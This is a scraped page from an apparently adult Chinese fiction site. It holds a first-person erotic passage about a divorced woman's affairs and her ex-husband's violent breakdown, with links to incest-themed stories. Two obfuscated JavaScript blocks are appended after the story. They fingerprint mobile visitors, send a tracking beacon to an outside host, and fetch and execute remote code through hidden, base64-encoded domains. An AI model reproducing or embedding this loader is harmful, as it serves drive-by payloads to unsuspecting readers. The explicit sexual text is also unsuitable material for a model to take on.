以前熟人邻居只是传言A女在外边有人,谁也没亲眼见着。这下可好了,前夫明明不在家,可每天晚上A女跟别人搞的时候连窗户都不关,叫床声传的一院子都知道,名声很快臭了。而名声一臭,A女面对着邻居老大妈们的指指点点和男人们的一脸暧昧,反而逆反似的更疯狂了。她开始频频换男人,同时跟两三个男人来往,有时一天到她家去几波人。

那阵子,那些男人为A女买了不少好衣服好化妆品,还把她的消费层次给提了上去,上去了就下不来了。

虽然A女前夫首先提出了离婚要求,但实际上,他并没有真的下决心离开这个和自己一起穷过来的糟糠之妻。他在犹豫,他在摇摆,更何况这个老婆既漂亮又贤惠,当初为了爱情不顾一切,跟了他这个穷小子。她只是爱花钱,只是心理不平衡,只是恨自己太无能。他其实感激她,爱她,但又恨她。

人性是个很复杂的东西,有时心里边明明想东,行动上却偏偏往西,很怪的。A女的前夫提出离婚,只是在试探,只是在报复,心里大概还渴望A女有朝一日彻底向他悔悟。

其实类似的心理我也曾经有过,婚姻的最后两年,我在一次次折磨她似的向前妻提出离婚时,其实也没下决心立刻离开她,而是希望她能够幡然悔悟,变得好一点,所以我才会磨叽那么久。只是,可惜前妻这个人悟性太差,劣根性也太顽固,怎么都不肯改她那些毛病,直到最后一切无可挽回。

如果不是这个心理,就不能解释A女前夫在回来后为什么再度发疯。这一次回来,那些谣言可就不再是谣言了。甚至前夫的父母,A女的父母都知道,全院子的人都知道。而且,A女也根本不隐瞒,直截了当地说,自己被别人肏了。A女前夫气疯了,把家里的一切砸了个稀巴烂,砸玻璃门、穿衣镜时更是什么都不顾,直接用手砸的,浑身上下鲜血淋漓,可见内心有多痛苦。

事情到了这一步,再无可挽回了,离了。前夫净身出户,房子不要了,孩子也不要了,直接回去跟女老板结婚。两人后来还有了个孩子,在深圳安家落户,再也不回北京了。

搞清楚了A女的离异史,我算是相信我那哥们说的话了,离异5、6年,说有一打男人上过她,那还真是说少了。她那娴熟的性爱技巧,大概就是身经百战后历练出来的。

不过,虽然对她的这些经历多少有些膈应,但是又觉得,A女其实也挺可怜的。她20多岁时一定是个很单纯很善良的女孩,就像当年的我一样单纯善良,要不怎么能不看金钱权势,却看上那个两手空空的穷小子呢?可惜她命不好,遇人不贤,就跟我遇人不淑一样。只是,我受伤是因为与前妻世界观差异太大,而她受伤是因为前夫太无能。

想到这里,我又感动了一次。唉,过去的那些就让她过去吧。遇着我,也是受过伤的人,大家同命相怜,只要一起努力,以后肯定能改变我的命运,也能改变她的命运。


上一篇:我和后母的一段过去

下一篇:淫乱美人娘之阿芳的故事 作者:zhuqq123


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};